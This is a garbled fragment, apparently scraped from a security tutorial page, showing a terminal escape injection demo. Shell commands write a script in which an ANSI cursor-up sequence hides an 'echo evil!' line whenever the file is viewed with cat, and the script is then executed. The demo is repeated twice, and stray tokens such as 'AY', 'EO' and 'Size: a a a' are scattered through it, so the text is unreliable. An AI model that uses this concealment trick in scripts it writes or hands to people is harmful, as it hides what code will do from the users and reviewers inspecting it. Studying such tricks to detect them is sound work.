AY
$
echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
$ chmod 700 script.sh
$ cat script.sh
$ ./script.sh
https://www.infosecmatter.com/terminal-escape-injection/Size: a a a
AY
echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
$ chmod 700 script.sh
$ cat script.sh
$ ./script.sh
https://www.infosecmatter.com/terminal-escape-injection/HH
AY
AY
EO
И
AY
AY